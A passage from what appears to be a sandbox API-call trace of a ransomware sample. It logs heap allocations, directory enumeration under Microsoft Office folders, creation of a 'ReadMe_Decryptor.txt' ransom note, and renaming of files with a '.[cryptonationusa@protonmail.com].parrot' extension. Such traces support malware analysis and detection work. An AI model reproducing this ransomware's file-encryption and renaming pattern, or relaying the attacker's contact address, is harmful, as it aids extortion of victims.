lpMem=0x33680c8 | out: hHeap=0x5b0000) returned 1 [0244.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0244.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0244.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0244.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0244.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0244.490] GetFileType (hFile=0x284) returned 0x1 [0244.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0244.548] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.549] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0244.550] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.550] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2df34, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2df34, lpOverlapped=0x0) returned 1 [0244.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0244.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0244.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0244.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0244.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0244.552] GetLastError () returned 0x0 [0244.555] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0244.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x319e470 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0244.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0244.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3158048 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x315afe0 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3158048 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x3350048 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315afe0 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3356b28 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3360b58 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3356b28 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x336fb90 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3360b58 | out: hHeap=0x5b0000) returned 1 [0244.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x33863c8 [0244.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x336fb90 | out: hHeap=0x5b0000) returned 1 [0244.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x3350048 [0244.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33863c8 | out: hHeap=0x5b0000) returned 1 [0244.558] WriteFile (in: hFile=0x284, lpBuffer=0x3350060*, nNumberOfBytesToWrite=0x2e058, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3350060*, lpNumberOfBytesWritten=0x18eed4*=0x2e058, lpOverlapped=0x0) returned 1 [0244.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0244.564] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e04c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0244.564] CloseHandle (hObject=0x284) returned 1 [0244.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0244.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x31f3ff0 [0244.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0244.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f3ff0 | out: hHeap=0x5b0000) returned 1 [0244.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0244.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x325e538 | out: hHeap=0x5b0000) returned 1 [0244.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0244.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0244.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0244.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0244.574] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.574] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1dc7e5c0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1dc7e5c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.574] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1a383720, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1a383720, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0244.574] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a4b4220, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x32b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADJACE~1.PAR")) returned 1 [0244.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0244.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0244.575] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.576] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.576] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.576] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.576] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.576] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1 [0244.576] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 0 [0244.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6588b0 [0244.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.576] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0244.576] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.576] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.576] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1 [0244.576] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 0 [0244.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0244.576] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0244.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0244.576] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0244.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0244.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0244.576] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0244.577] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.577] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.577] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1dc7e5c0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1dc7e5c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.577] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0244.577] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0244.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0244.577] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0244.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b958 | out: hHeap=0x5b0000) returned 1 [0244.577] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c485370, ftCreationTime.dwHighDateTime=0x1d546b4, ftLastAccessTime.dwLowDateTime=0x2354f740, ftLastAccessTime.dwHighDateTime=0x1d58526, ftLastWriteTime.dwLowDateTime=0x2354f740, ftLastWriteTime.dwHighDateTime=0x1d58526, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trim.exe", cAlternateFileName="")) returned 1 [0244.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0244.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.577] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.578] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9fb762d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fb762d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.578] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0244.578] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xec2a3cc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xec2a3cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1 [0244.578] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0244.578] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18e89540, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x18e89540, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0244.578] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0244.578] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, 